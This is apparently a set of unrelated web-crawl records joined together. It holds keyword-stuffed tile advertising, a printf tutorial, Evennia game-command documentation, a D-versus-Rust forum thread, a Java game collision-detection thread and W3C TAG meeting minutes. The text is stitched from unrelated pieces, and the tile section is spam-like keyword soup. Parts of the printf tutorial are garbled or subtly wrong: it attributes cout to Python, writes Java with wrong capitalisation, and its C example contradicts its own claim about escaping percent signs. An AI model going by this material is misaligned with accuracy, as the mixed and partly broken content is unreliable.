fantastic range of porcelain and ceramic wall and floor tiles for amazing prices, without compromising on look or quality. we have so many styles to choose from-timber look tiles, concrete looks and stone look finishes import china outdoor pavement tiles from various high quality chinese outdoor pavement tiles suppliers and manufacturers on globalsources.com. cheap outdoor plastic floor tile. cheap outdoor plastic floor tile. min. order: 100 pieces. fob price: us$ 2.8 - 3 / piece. romania 4 russian federation 5 saudi arabia 5 singapore 8 what is saltillo tile and why such flooring is a good choice for both outdoor and indoor use? like any material saltillo tiles have advantages and disadvantages and it is up to the homeowner to decide whether to use them or not. the design works extremely well with mediterranean style interiors and exteriors, southwestern or rustic decors. wholesaler for outdoor floor tiles, cheap outdoor floor tiles and outdoor floor tiles bulk at china manufacturer and wholesale supplier from papachina. we offer natural stone, porcelain, glass, ceramic, and more to cover all surfaces of your residential or commercial property. trusted by 1000s of satisfied customers. best prices. call today 866-345-8453 at tfo you will find a huge range of cheap tiles and cheap tiles online. tfos prices will many of marazzis porcelain stoneware collections also feature extra-thick 20 mm tiles, specifically designed for outdoor paving. it is therefore possible to use the same covering, creating continuity between indoors and outdoors. in addition, for outdoor tiles, you can also opt for high-performance technical porcelain stoneware. shop for vinyl flooring in flooring. buy products such as achim nexus saddle 6x36 self adhesive vinyl floor planks - 60 planks/90 sq. ft. at walmart and save. you searched for: decorative
https://www.thehoosebelfast.co.uk/flowerbox/2440-cheap-outdoor-tiles-romania.html
CC-MAIN-2020-24
refinedweb
537
66.23
Get the highlights in your inbox every week. How to use printf to format output | Opensource.com How to use printf to format output Get to know printf, a mysterious, flexible, and feature-rich alternative to echo, print, and cout. Subscribe now When I started learning Unix, I was introduced to the echo command pretty early in the process. Likewise, my initial Python lesson involved the cout and systemout. It seemed every language proudly had a convenient one-line method of producing output and advertised it like it was going out of style. printf, a cryptic, mysterious, and surprisingly flexible function. In going against the puzzling tradition of hiding printffrom beginners, this article aims to introduce to the world the humble printffunction and explain how it can be used in nearly any language. A brief history of printf The term printf stands for "print formatted" and may have first appeared in the Algol 68 programming language. Since its inclusion in C, printf has been reimplemented in C++, Java, Bash, PHP, and quite probably in whatever your favorite (post-C) language happens to be. It's clearly popular, and yet many people seem to regard its syntax to be complex, especially compared to alternatives such as echo or cout. For example, here's a simple echo statement in Bash: $ echo hello hello $ Here's the same result using printf in Bash: $ printf "%s\n" hello hello $ But you get a lot of features for that added complexity, and that's exactly why printf is well worth learning. printf output The main concept behind printf is its ability to format its output based on style information separate from the content. For instance, there is a collection of special sequences that printf recognizes as special characters. Your favorite language may have greater or fewer sequences, but common ones include: \n: New line \r: Carriage return \t: Horizontal tab \NNN: A specific byte with an octal value containing one to three digits For example: $ printf "\t\123\105\124\110\n" SETH $ In this Bash example, printf renders a tab character followed by the ASCII characters assigned to a string of four octal values. This is terminated with the control sequence to produce a new line ( \n). Attempting the same thing with echo produces something a little more literal: $ echo "\t\123\105\124\110\n" \t\123\105\124\110\n $ Using Python's >>> print("\t\123\n") S >>> Obviously, Python's printf features as well as the features of a simple echo or cout. These examples contain nothing more than literal characters, though, and while they're useful in some situations, they're probably the least significant thing about printf. The true power of printf lies in format specification. Format output with printf Format specifiers are characters preceded by a percent sign ( %). Common ones include: %s: String %d: Digit %f: Floating-point number %o: A number in octal These are placeholders in a printf statement, which you can replace with a value you provide somewhere else in your printf statement. Where these values are provided depends on the language you're using and its syntax, but here's a simple example in Java: string var="hello\n"; system.out.printf("%s", var); This, wrapped in appropriate boilerplate code and executed, renders: $ ./example hello $ It gets even more interesting, though, when the content of a variable changes. Suppose you want to update your output based on an ever-increasing number: #include <stdio.h> int main() { int var=0; while ( var < 100) { var++; printf("Processing is %d% finished.\n", var); } return 0; } Compiled and run: Processing is 1% finished. [...] Processing is 100% finished. Notice that the double % in the code resolves to a single printed % symbol. Limiting decimal places with printf Numbers can get complex, and printf offers many formatting options. You can limit how many decimal places are printed using the %f for floating-point numbers. By placing a dot ( .) along with a limiter number between the percent sign and the f, you tell printf how many decimals to render. Here's a simple example written in Bash for brevity: $ printf "%.2f\n" 3.141519 3.14 $ Similar syntax applies to other languages. Here's an example in C: For three decimal places, use .3f, and so on. Adding commas to a number with printf Since big numbers can be difficult to parse, it's common to break them up with a comma. You can have printf add commas as needed by placing an apostrophe ( ') between the percent sign and the d: $ printf "%'d\n" 1024 1,024 $ printf "%'d\n" 1024601 1,024,601 $ Add leading zeros with printf Another common use for printf is to impose a specific format upon numbers in file names. For instance, if you have 10 sequential files on a computer, the computer may sort 10.jpg before 1.jpg, which is probably not your intent. When writing to a file programmatically, you can use printf to form the file name with leading zero characters. Here's an example in Bash for brevity: $ printf "%03d.jpg\n" {1..10} 001.jpg 002.jpg [...] 010.jpg Notice that a maximum of 3 places are used in each number. Using printf As you can tell from these printf examples, including control characters, especially \n, can be tedious, and the syntax is relatively complex. This is the reason shortcuts like echo and cout were developed. However, if you use printf every now and again, you'll get used to the syntax, and it will become second nature. I don't see any reason printf should be your first choice for printing statements during everyday activities, but it's a great tool to be comfortable enough with that it won't slow you down when you need it. Take some time to learn printf in your language of choice, and use it when you need it. It's a powerful tool you won't regret having at your fingertips. 2 Comments, Register or Log in to post a comment. Your use of 000%d to left pad filenames is just plain wrong. Your format string should be %03d You're just plain right. I've corrected it in the article for posterity.
https://opensource.com/article/20/8/printf
CC-MAIN-2021-04
refinedweb
1,041
62.07
. # basic Command definition from evennia import Command class MyCmd(Command): """ This is the help-text for the command """ key = "mycommand" def parse(self): # parsing the command line here def func(self): # executing the command here. -): This should be given as a raw regular expression string. The regex will be compiled by the system at runtime. This allows you to customize how the part immediately following the command name (or alias) must look in order for the parser to match for this command. Normally the parser is highly efficient in picking out the command name, also as the beginning of a longer word (as long as the longer word is not a command name in it self). So "lookme"will be parsed as the command "look"followed by the argument "me". By using arg_regexyou could for example force the parser to require the command name to be followed by a space and then some other argument (regex r"\s.+"). Or you could allow both that and a stand-alone command (regex r"\s.+|$"). In this case, lookand "look me"will work whereas "lookme"will lead to a “command not found” error.: from evennia import Command class CmdSmile(Command): """ A smile command Usage: smile [at] [<someone>] grin [at] [<someone>] Smiles to someone in your vicinity or to the room in general. (This initial string (the __doc__ string) is also used to auto-generate the help for this command) """ key = "smile" aliases = ["smile at", "grin", "grin at"] locks = "cmd:all()" help_category = "General" def parse(self): "Very trivial parser" self.target = self.args.strip() def func(self): "This actually does things" caller = self.caller if not self.target or self.target == "here": string = "%s smiles." % caller.name caller.location.msg_contents(string, exclude=caller) caller.msg("You smile.") else: target = caller.search(self.target) if not target: # caller.search handles error messages return string = "%s smiles to you." % caller.name target.msg(string) string = "You smile to %s." % target.name caller.msg(string) string = "%s smiles to %s." % (caller.name, target.name) caller.location.msg_contents(string, exclude=[caller,target]). Pauses in commands¶ A common usage in your commands is to create some delay, waiting for a few seconds before going on. Evennia running asynchronously, you cannot use time.sleep() in your commands. If you do, the entire game will be frozen for everyone, which isn’t often great. Fortunately, Evennia offers a really quick syntax for making pauses in commands. In your func() method, you can use the yield keyword. This is a Python keyword that will freeze the current execution of your command and wait for more before processing. Evennia handles this keyword in the command’s func() method (it won’t work anywhere else). Here’s an example of a command using a small pause of five seconds between messages: from evennia import Command class CmdWait(Command): """ A dummy command to show how to wait Usage: wait """ key = "wait" locks = "cmd:all()" help_category = "General" def func(self): """Command execution.""" caller = self.caller caller.msg("You begin to wait... just be patient...") yield 5 caller.msg("That was some waiting in a command.") The important line is the yield 5. It will tell Evennia to just stop here and continue to the next line after 5 seconds have passed. If you add and enter this command, you will see the first message, then nothing will happen during five seconds (you can enter other commands in the mean time if you want), and then you’ll see the next message. You can have a command pausing several times if you want. Important note: using the yieldkeyword in your command’s func()method will not save anything. If the server reloads when your command is “pausing”, it will not resume afterward. Be careful that you are not freezing the character or account in a way that will not be cleared on reload. Asking for user input¶ The yield keyword can also be used to ask for user input. Again, remember you can’t use raw_input in your command, for it would freeze Evennia, including all the other connected users. There’s another quick trick for doing this. It could be used to ask a confirmation in a command. This time, the yield syntax will look a bit different: answer = yield("Your question") Here’s a very simple example: class CmdConfirm(Command): """ A dummy command to show confirmation. Usage: confirm """ key = "confirm" def func(self): answer = yield("Are you sure you want to go on?") if answer == "yes": self.msg("Processing...") # ... else: self.msg("Stop processing.") This time, when the user enters the ‘confirm’ command, she will be asked if she wants to go on. If she enters ‘yes’ (lowercase), the message “Processing…” will be displayed. If the user has enters anything else, the message “Stop processing.” will be displayed. It can be worth channging the test a bit to be less restrictive. Allow uppercase letter YES to work, or a simple “y”. answer = yield("Are you sure you want to go on?") if answer.strip().lower() in ("yes", "y"): # ... Important note: again, the ``yield`` keyword does not store anything in the database. If the user is asked for some information, and the game reloads, the user will have to re-enter the command. It is not a good idea to use ``yield`` for important or complex choices, an `EvMenu`_ might be more appropriate in this case.. from evennia import syscmdkeys, Command class MyNoInputCommand(Command): "Usage: Just press return, I dare you" key = syscmdkeys.CMD_NOINPUT def func(self): self.caller.msg("Don't just press return like that, talk to me!")): cmd = MyCommand(key="newname", aliases=["test", "test2"], locks="cmd:all()", ...). traverse_*hooks on the Exit object. But if you are interested in really changing how things work under the hood, check out evennia/objects/objects.pyfor how the Exittypeclass is set up.. # in command class func() def callback(ret, caller): caller.msg("Returned is %s" % ret) deferred = self.execute_command("longrunning") deferred.addCallback(callback, self.caller).
http://evennia.readthedocs.io/en/latest/Commands.html
CC-MAIN-2018-13
refinedweb
1,000
66.54
Forum Index Just would like to know you all opinions On Saturday, 23 October 2021 at 04:25:21 UTC, Dr Machine Code wrote: I was using D long before Rust came along. It reeled me in from Java and C and I never looked back. It’s the only language I’ve used that I can honestly describe as fun. I have no reason to move to use Rust or any other language. I’m quite happy where I am. And even if I were looking for something different, I don’t think Rust would be it. This may be superficial, but I just despise the syntax. That alone would be enough to keep me from even trying it without someone seriously persuading me otherwise. On Saturday, 23 October 2021 at 04:39:14 UTC, Mike Parker wrote: I'm very similar to you except I came from C#. Same here, I just despise the syntax and couldn't get much used to it. I've tried to use more than once Rust is just C++ with his hands tied. Because I RUST is hard and D is more easy, I am stupid. I wrote the following code and was very pleased with it until I thought of showing it to a coworker who didn't know Rust. At that moment I was struck by the very low ratio of "does what the application needs doing"/"does what Rust needs doing", and the feeling of pride turned to embarrassment. I didn't want to have to explain why all the 'extra' code was needed, or what it did. #[link(name = "crypt")] extern { fn crypt(key: *const c_char, salt: *const c_char) -> *c_char; } fn encrypts_to(key: &CString, salt: &CString, hash: &CString) -> bool { unsafe { let ret = crypt(key.as_ptr(), salt.as_ptr()); if ret == std::ptr::null() { return false } hash.as_c_str() == CStr::from_ptr(ret) } } // ... #[cfg(test)] mod tests { use super::*; #[test] fn test_encrypts_to() { assert!(encrypts_to( &CString::new("password").unwrap(), &CString::new("$1$YzTLPnhJ$").unwrap(), &CString::new("$1$YzTLPnhJ$OZoHkjAYlIgCmOKQi.PXn.").unwrap(), )); assert!(encrypts_to( &CString::new("monkey").unwrap(), &CString::new("lh").unwrap(), &CString::new("lhBnWgIh1qed6").unwrap(), )); } } the d equivalent: /+ dub.sdl: libs "crypt" +/ extern (C) char* crypt(const(char)* key, const(char)* salt) @system; bool encryptsTo(const(char)* key, const(char)* salt, const(char)* hash) @trusted { import std.string : fromStringz; return hash.fromStringz == crypt(key, salt).fromStringz; } unittest { assert(encryptsTo("password", "$1$YzTLPnhJ$", "$1$YzTLPnhJ$OZoHkjAYlIgCmOKQi.PXn.")); assert(encryptsTo("monkey", "lh", "lhBnWgIh1qed6")); assert(encryptsTo("badsalt", "$$$", null)); } This, long compile times, and losing sanity points over async/await servers is basically it for my objections to Rust at the time I gave d another look. Nowadays there would be more features that I'd miss from d, like better scripting, superior ctfe, generics, static reflection, and even code generation: Rust has a more syntax-abusive macro system but there's a lot of uses of it out there that are just "specialize this code over this list of types". And there's code like I think d/rust competition is pretty difficult atm. as d has a bunch of newbie hazards like betterC ("wow, this hello world is much faster! ... I can't use non-template functions from the standard library?") and ranges ("how do I get an array out of a MapResult?"), while Rust's relative noisiness as a language is balanced by the compiler's willingness to nearly write the noise for you with its error messages. Rust is mainly a lot readier in documentation to explain its WTFs, vs. d where something just seems odd (uncharitably: broken and misguided) for months until you run across a Steven Schveighoffer post about it. But if you can get past the newbie experience, man, just look at the code. Mainly because you're so unproductive with Rust. It takes so many more keystrokes and thinking to even get anywhere. And for what benefit? A marginally more safe code base? 🤔 I've written safety critical code for years. Rust isn't even proven in use yet. Take a quick look at this: And this: Shouldn't those list be like... Shorter? 🤔 D has a balance of productivity and safety. We can improve D and get a nice language. But we need more people and/or focus to do that. That's my opinion On Saturday, 23 October 2021 at 04:25:21 UTC, Dr Machine Code wrote: > Just would like to know you all opinions D has GC which is a proven success in the real world in getting stuff done. Never had a reason to use it. The syntax looks like a language designer's wet dream. I just don't see the point of using it for anything above systems programming, since a GC gives similar memory guarantees while being much easier to work with. Also, it's proggit's beloved darling which clearly means it's a hipster language... /s ;3 On 23.10.21 09:53, jfondren wrote: > bool encryptsTo(const(char)* key, const(char)* salt, const(char)* hash) @trusted { > import std.string : fromStringz; > > return hash.fromStringz == crypt(key, salt).fromStringz; > } That function can't be @trusted. "Any function that traverses a C string passed as an argument can only be @system."
https://forum.dlang.org/thread/xqluwkwixycbqfknplzf@forum.dlang.org
CC-MAIN-2022-27
refinedweb
870
65.62
Common Language Runtime Developer An assembly display name should include the assembly simple name, version, culture and public key token. The assembly simple name is usually the file name of the assembly without the extension (“.dll” or “.exe”). For example, the assembly display name for the v1.0 system.dll assembly is: System, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 All of those components are required to be specified in calls to Assembly.Load() if the assembly is to be found in the GAC (and I strongly recommend that you always specify them, even if the assembly is not in the GAC). My plea: please don’t put together these names yourself. Allow Fusion to create them for you so that they will be canonicalized and work with upcoming (and past) versions of Fusion. If you need to get one programmatically, try Assembly.FullName, AssemblyName.FullName, or Type.AssemblyQualifiedName. If you just need to cut-and-paste one into your code, “gacutil /l” is a quick way to get the official string. If you just need the public key/token, try “sn -Tp”. If you would like to receive an email when updates are made to this post, please register here RSS An unmanaged dll can be wrapped in a managed assembly by adding it as a file of a multi-module assembly. Calling Load(AssemblyName) is not necessarily the same as calling Load(String). If the AssemblyName.CodeBase Pre-v2, when you load an assembly by path through Fusion (LoadFrom(), ExecuteAssembly(), etc.), it can By "Frameworks assemblies," I mean the assemblies that ship with the CLR. But, I'm not counting mscorlib.dll There are two types of assembly identity that the loader deals with: bind-time and after bind-time. The So, after checking out the binding context options , you've decided to switch your app to use the Load A partial bind is when only part of the assembly display name is given when loading an assembly. Assembly.LoadWithPartialName() If no assembly is specified, Type.GetType() will only look in the calling assembly and then mscorlib.dll I have an assembly call it MyAssembly.dll. In it there is a type under the namespace MyCompany.Service.MyServices that is MyService. What is the full CLR type name for this type? Thank you. Kevin Is there any way (SomeMethod) I can find an assembly's fully qualified name from just it's name given as a string? Let me explain my question with an example: string DisplayName = "Microsoft.Msagl"; string FullyQualifiedName = SomeMethod (DisplayName); and FullyQualifiedName would hold: "Microsoft.Msagl,Version=1.2.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35" Thanks in advance. Hi everyone, Thanks for posting my feedback. I got a solution to my problem and sharing with you: The following code actually finds the fully qualified name, if the file location is provided: Assembly asm = Assembly.LoadFrom("C:\\Program Files\\Microsoft Pex\\bin\\Microsoft.Msagl.dll"); Dataflow.BasicBlock("Microsoft.Msagl.Anchor," + asm.FullName.ToString()); The Assembly "asm.FullName" gives the fully qualified name. (Ignore Dataflow.BasicBlock: this some library that I was working on) I got this helpful piece code from: Thanks. --Ishtiaque
http://blogs.msdn.com/suzcook/archive/2003/05/29/57137.aspx
crawl-002
refinedweb
528
58.28
#include <buf0types.h> Page identifier. This class does not have a default constructor, because there is no natural choice for default values of m_space and m_page_no. If 0,0 were used, then it's not good as it doesn't match UINT32_UNDEFINED used to denote impossible page_no_t in several places, and 0 is a legal value for both space_id_t and page_id_t of a real page! If UINT32_UNDEFINED,UINT32_UNDEFINED were used, then it doesn't match the most common usage where use use memset(parent,0,sizeof(parent_t)); on a parent struct where one of the members has page_id_t type - which is ok given that page_id_t is TriviallyCopyable, and that the field is not used until it is assigned some real value. Such constructor would be misleading to people reading the code, as they might expect UINT32_UNDEFINED value, if they didn't notice the memset code burried somewhere in parent's initialization routine. Therefore, please either be explicit by using (space,page_no) overload, or continue to use memset at your own risk. Constructor from (space, page_no). Retrieve the hash value. Check if a given page_id_t object is not equal to the current one. Provides a lexicographic ordering on <space_id,page_no> pairs. Check if a given page_id_t object is equal to the current one. Retrieve the page number. Reset the values from a (space, page_no). Reset the page number only. Retrieve the tablespace id. Print the given page_id_t object. Page number. Tablespace id.
https://dev.mysql.com/doc/dev/mysql-server/latest/classpage__id__t.html
CC-MAIN-2022-33
refinedweb
241
65.52
I'm trying to convert a string input (y/n) into an integer (1/0). The function appears to be working, as when the 'convert' function is executed using 'a' as an argument, the argument is printed inside the function, however printing outside the function uses the original value of the variable 'a'. I've tried using return inside the 'convert' function, but this appears to have no affect. a = input("Are you happy?(y/n)") def convert(x): if x == ('y'): x = 1 if x == ('n'): x = 0 print (x) convert(a) print (a) >>> Are you happy?(y/n)y 1 y That is because you are not changing a at all. You are simply passing a to the convert method, but this will not actually change what is in a. In order to change a, you need to assign a to the result of what convert will do. Like this: a = convert(a) This is now where you will need that return, since you have to actually return something from the convert method in order to change the value of what a will now hold. So, taking all that in to account, you will now have: a = input("Are you happy?(y/n)") def convert(x): if x == ('y'): x = 1 if x == ('n'): x = 0 print (x) # add the return here to return the value return x # Here you have to assign what the new value of a will be a = convert(a) print(a) Output: 1 1
https://codedump.io/share/PVDlD1bg6Apf/1/python-function-not-holding-the-value-of-a-variable-after-execution
CC-MAIN-2017-26
refinedweb
251
66.98
So. I've written my first little graphics game (using the Graphics API) and would like to know two things: a) What's wrong with my collision detection? (Could you point me in the right direction?) b) What am I doing that is not the best way. Is there a better way to do something? I've attached my Images (Do you like them? I made them myself!), and of course, the code. Thanks, Jack Please post any code you have that you want us to look at here on the forum. I didn't attach source to the post? Anyway, here it is: The images are called: en_norm.jpg and cookie_big.jpg. Entity.java: import java.awt.Graphics; import java.awt.Point; import java.awt.Rectangle; import javax.swing.ImageIcon; public class Entity { ImageIcon img; int x = 20, y = 20, width, height; public Entity(String path) { img = new ImageIcon(path); width = img.getIconWidth(); height = img.getIconHeight(); } Point getPoint() { Point abc = new Point(); abc.x = x; abc.y = y; return abc; } public void draw(Graphics g, int x, int y, int type) { switch (type) { case 1: g.drawImage(img.getImage(), x, y, null); case 2: g.drawImage(img.getImage(), 60, 60, null); } } void updateRect(Rectangle e) { e.x = x; e.y = y; } boolean collisionWith(Entity e) { /*if(e.x > x && e.x < (width + x)) { if(); } //This is a new thing that I'm working on. */ return Frame.cookie.intersects(Frame.player); } } GamePanel.java import java.awt.Graphics; import java.awt.Point; import javax.swing.JLabel; import javax.swing.JPanel; public class GamePanel extends JPanel { JLabel a = new JLabel("Arrow Keys to move"); public GamePanel() { this.add(a); } public void paintComponent(Graphics g) { Entity pickMeUp = new Entity("cookie_big.jpg"); super.paintComponent(g);//Paints the JPanels stuff. Entity a =new Entity("en_norm.jpg");//Our object a.draw(g,Frame.x,Frame.y, 1);//Call the painter (he-he). a.x = Frame.x; a.y = Frame.y; pickMeUp.draw(g, 61, 58, 2); System.out.println("x: "+a.x + " y: "+a.y+"\n"+pickMeUp.collisionWith(a)); a.updateRect(Frame.player); pickMeUp.updateRect(Frame.cookie); } } Frame.java import java.awt.Rectangle; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import javax.swing.ImageIcon; import javax.swing.JFrame; public class Frame extends JFrame implements KeyListener { /** * */ private static final long serialVersionUID = 1L; static int x, y; static Rectangle cookie = new Rectangle(), player = new Rectangle(); Frame() { x = this.getWidth() / 2; y = this.getHeight() / 2; this.setSize(400, 400); this.setResizable(false); GamePanel c = new GamePanel(); add(c); this.addKeyListener(this); this.setVisible(true); this.setDefaultCloseOperation(EXIT_ON_CLOSE); while (true) {// Game Loop c.repaint(); } } public static void main(String[] args) { Frame k = new Frame(); } public void keyPressed(KeyEvent arg0) { // TODO Auto-generated method stub // Stay in the bounds - start if ((x > this.getWidth() - new ImageIcon("en_norm.jpg").getIconWidth())) { x -= 3; return; } if (y > this.getHeight() - new ImageIcon("en_norm.jpg").getIconHeight()) { y -= 3; return; } if ((x < 1)) { x += 1; return; } if ((y < 1)) { y += 1; return; } // stay in the bounds - END // Movement - Start. if (arg0.getKeyCode() == KeyEvent.VK_LEFT) { x -= 3; } else if (arg0.getKeyCode() == KeyEvent.VK_UP) { y -= 3; } else if (arg0.getKeyCode() == KeyEvent.VK_DOWN) { y += 3; } else if (arg0.getKeyCode() == KeyEvent.VK_RIGHT) { x += 3; } else if (arg0.isAltDown() && arg0.getKeyCode() == KeyEvent.VK_F4) { System.exit(0); } // Movement - END } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyTyped(KeyEvent e) { // TODO Auto-generated method stub } } Problems: use of static variables. are the case statements meant to fall thru? if ((x > this.getWidth() - new ImageIcon("en_norm.jpg").getIconWidth())) { This is a terrible way to code. Get the image ONE time and use it's properties, don't get it every time the method is executed. Edited by NormR1: n/a Thank you. Is there anything else? Are you still having problems on the collision? Maybe this tutorial ca help ya collision tutorial Is there anything else? The infinite while loop should be changed to use a timer. while (true) {// Game Loop c.repaint(); } This is really not a good idea. You tie up a thread running as fast as it possibly can, triggering repaints at an arbitrary but very high rate. It's going to burn all the CPU it can, and will run at completely different speeds on different machines. Here's the recommended strategy for running animated games in Swing: Use a javax.swing.Timer to call an update routine a some suitable rate (eg every 50 mSec). In that routine update all the variables associated with the sprite's position/velocity/collisions etc. After updating all the variable call repaint(); In paintComponent re-draw everything according to their current variables. Do not update those variables in paintComponent because you have no control of exactly when or how often it will be called. ...
https://www.daniweb.com/programming/software-development/threads/402519/please-criticize-this
CC-MAIN-2017-17
refinedweb
800
63.15
#include <cafe/os.h> u32 OSGetUserStackPointer(OSThread* thread); * The user stack in this case means the one specified at the time of thread creation. If the specified thread is being suspended, return the user stack pointer. If not, return 0. This function obtains the user stack pointer for the specified thread. The user stack in this case indicates the one specified at the time of thread creation. Even if an API in SDK has switched stacks by OSSwitchStack or OSSwitchFiber, you can still obtain the latest stack pointer for using the user stack. OSSwitchStack and OSSwitchFiber save the stack pointer into the OSThread structure of the current thread before switching stacks. In doing so, even when stacks have been switched, the user stack pointer can return. However, OSCoroutine-related APIs do not save the pointer as described above. (OSCoroutine provides a mechanism to achieve high-speed context switching. For more information on OSCoroutine, see OSInitCoroutine.) It takes some time to obtain the current thread when saving. Because execution speed is especially important to OSCoroutine, it is exempt from saving the user stack pointer. With middleware using OSCoroutine, OSGetUserStackPointer may not function properly. Even if the application intentionally switches stacks using OSSwitchStack or OSSwitchFiber, you cannot obtain the stack pointer by OSGetUserStackPointer after the switch. The target thread needs to be in a suspended state. None. 2015/03/10 Removed private note. 2013/05/08 Automated cleanup pass. 2012/07/31 Cleanup Pass 2011/10/14 Initial version. CONFIDENTIAL
http://anus.trade/wiiu/personalshit/wiiusdkdocs/fuckyoudontguessmylinks/actuallykillyourself/AA3395599559ASDLG/os/Stack/OSGetUserStackPointer.html
CC-MAIN-2018-05
refinedweb
248
58.89
I'm trying to learn how to edit files, but I'm a bit of a python novice, and not all that bright, so when I get a FileNotFoundError I can't figure out how to fix it despite several searches on the interwebz. import os old = 'Users\My Name\Pictures\2013\182904_10201130467645938_341581100_n' new = 'Users\My Name\Pictures\2013\Death_Valley_1' os.rename(old, new) 'Users\My Name\Pictures\2013\182904_10201130467645938_341581100_n' is a relative path. Unless you are running your code from the directory that contains the Users dir (which if you are using Windows would most probably be the root C: dir), Python isn't going to find that file. You also have to make sure to include the file extension if it has any. There are few ways to solve this, the easiest one will be to use the absolute paths in your code, ie 'C:\Users\My Name\Pictures\2013\182904_10201130467645938_341581100_n.jpg'. You will also want to use r before the paths, so you want need to escape every \ character. import os old = r'C:\Users\My Name\Pictures\2013\182904_10201130467645938_341581100_n.jpg' new = r'C:\Users\My Name\Pictures\2013\Death_Valley_1.jpg' os.rename(old, new) This of course assumes your drive letter is C.
https://codedump.io/share/RfQ6suzuQ3RV/1/filenotfounderror-winerror-3
CC-MAIN-2017-34
refinedweb
207
71.44
Predict the output of below program: #include <stdio.h> int main() { int arr[5]; // Assume base address of arr is 2000 and size of integer is 32 bit printf("%u %u", arr + 1, &arr + 1); return 0; } (A) 2004 2020 (B) 2004 2004 (C) 2004 Garbage value (D) The program fails to compile because Address-of operator cannot be used with array name Answer: (A) Explanation: Name of array in C gives the address(except in sizeof operator) of the first element. Adding 1 to this address gives the address plus the sizeof type the array has. Applying the Address-of operator before the array name gives the address of the whole array. Adding 1 to this address gives the address plus the sizeof whole array.
https://www.geeksforgeeks.org/c-arrays-question-2/
CC-MAIN-2018-09
refinedweb
126
55.58
<NoahM> scribenick: masinter <scribe> Scribe: Larry Masinter Date: 21 May 2009 Roll call: raman is missing, ht may or may not be on irc future regrets? Ashok: 11th of june Larry out June 2 to 17th next week HT is scribe, DanC is likely next after that RESOLUTION: minutes for 7th are approved (no objections) minutes for 14th? RESOLUTION: minutes of 14th are approved NoahM: Ian Jacobs reminded us that if we intend this for rec will require call for Patent Exclusion ... I am not a laywer, check with Ian/Dan for questions ... informally, any concern about publishing a call for exclusion? ... Problem: there is a dated link to a document which is 404, could someone please fix this <DanC> umm... ... <NoahM> <NoahM> <NoahM> <scribe> ACTION: noah to fix TAG page <trackbot> Created ACTION-269 - Fix TAG page [on Noah Mendelsohn - due 2009-05-28]. NoahM: reminded of agenda item to flag actions as trivial: can be closed without discussion <DanC> 269 is done. revision 1.27 date: 2009/05/21 17:15:14 <jar> me example of action annotated as trivial: <DanC> close action-269 <trackbot> ACTION-269 Fix TAG page closed action-204? <trackbot> ACTION-204 -- Jonathan Rees to talk with Mark Miller about web app security and report back -- due 2009-05-12 -- OPEN <trackbot> RESOLUTION: table to next week issue-24? <trackbot> ISSUE-24 -- Can a specification include rules for overriding HTTPcontent type parameters? -- OPEN <trackbot> action-261? <trackbot> ACTION-261 -- Larry Masinter to followup with Mark Nottingham and Lisa D. regarding Adam Barth's sniffing draft -- due 2009-05-13 -- OPEN <trackbot> <DanC> ACTION-261 due next week <trackbot> ACTION-261 Followup with Mark Nottingham and Lisa D. regarding Adam Barth's sniffing draft due date now next week <DanC> ACTION-261 due 26 May <trackbot> ACTION-261 Followup with Mark Nottingham and Lisa D. regarding Adam Barth's sniffing draft due date now 26 May thanks Dan Larry only recently reviewed document NoahM:We'll defer worrying about ACTION-257 until progress is made on ACTION-261. NoahM: how much progress can we make? ... if we did get involved, would want Henry and Tim to comment <DanC> (I couldn't find mail from TimBL on this... oh... guess I missed ...) NoahM: there is a link to Rick's clarification of his request in today's agenda. His suggestion, if I understand it, is that the XML Schema spec is not appropriately layered. Thus, the W3C should hold up XSD 1.1 at CR to allow for such a layering to be invented. We need to decide what the TAG's role in this is wrt/ W3C process, and also whether any TAG members advocate our getting involved in this. It is in our charter that Tim has the option to ask us for advice at any point, should he wish to, but that's up to him to initiate. Ashok: Rick has a very specific recommendation, to either start a working group or, within the working group, to produce a smaller, focused language NoahM: I would like to know whether any TAG members feel we should undertake work on this. <jar> LM: How does this issue hold up against potential-issue acceptance criteria? <LM>: Think about our criteria for taking on TAG work, such as being asked by a working group, etc. ... There is another venue for this discussion. Not clear whom we would influence. I'm not specifically opposing his proposal. <LM>: I'm remembering our discussion at the last F2F about criteria for undertaking TAG work. I don't think we should do this now, but should explain why. jar: this is one of those issues where the questions cut across a lot of different WGs in W3C ... XSD does seem like it's worth a look, trying to follow rdf:text, XSD is in the center around OWL, SPARQL and ...., and they don't know where to go nm: could you clarify how the issues you are relating with rdf:text vs. RickJ's specific proposal jar: It's my instinct that there ought to be some interaction around this. When a single working group has trouble dealing with this. <DanC> (the analogy seems to be that both rdf:text and XSD 1.1 comments involve/impact multiple WGs) ashok: what jar is talking about is specific datatypes, and that we ought to be able to add datatypes. Rick's proposal is almost entirely about Schema Structures, and so is pretty much unrealted to rdf:text. these things are both important but different jar:OK <DanC> (boy it takes a long time to not talk about something. ;-) <LM>: Can we publish out criteria for work, and point to that as a reason? <DanC> (are those criteria already written down, LMM?) yes, point to it NoahM: I would like to see where we stand, and ask you to choose informally among two options for what to do right now. Noting that nobody here today has been willing to say that the TAG should work on this, but that we are missing two members who may be concerned, should we: 1) Decide now, as Larry suggested, that we have considered Rick's request, have no opinoin on the merits, but are not getting involved (will check with HT and Tim before committing) - or - 2. Defer until next week Ashok: in favor of 2 Larry: in favor of 1 DanC can support both JK: goes for 2 jar: abstain noah: abstain <NoahM> JK: want more evidence that there's something we should work on <DanC> (are you sure you want "more evidence"? I bet what you really want is _less_, John) <DanC> (i.e. a pointer to one specific thing) RESOLUTION: leave this for a week, see if any discussion, will come back briefly possibly just to decide whether to take on the issue <NoahM> Raman would like to make Web Application State a topic. We should have specific deliverables for F2F. issue-60? <trackbot> ISSUE-60 -- Web Application State Management -- OPEN <trackbot> <DanC> (where did raman make that suggestion? looking...) NoahM: I went back and looked at the agenda & minutes to see what have we talked about since last F2F ... I did not survey the mailing list for topics, however. <DanC> (I lean on for agenda building... looking at it now...) issue-41? <trackbot> ISSUE-41 -- What are good practices for designing extensible languages and for handling versioning? -- OPEN <trackbot> action-259? <trackbot> ACTION-259 -- Larry Masinter to kick off discussion of versioning principles to apply to HTML, engage jonathan and henry. -- due 2009-05-01 -- CLOSED <trackbot> <trackbot> quote: "I'm thinking the above might serve as the initial content and outline of a finding around versioning and HTML." from (discussion about use of tracker, action, and issues, not minuted) <NoahM> From minutes of last week: noah: Versioning discussion seems wrapped up for now... <jar> 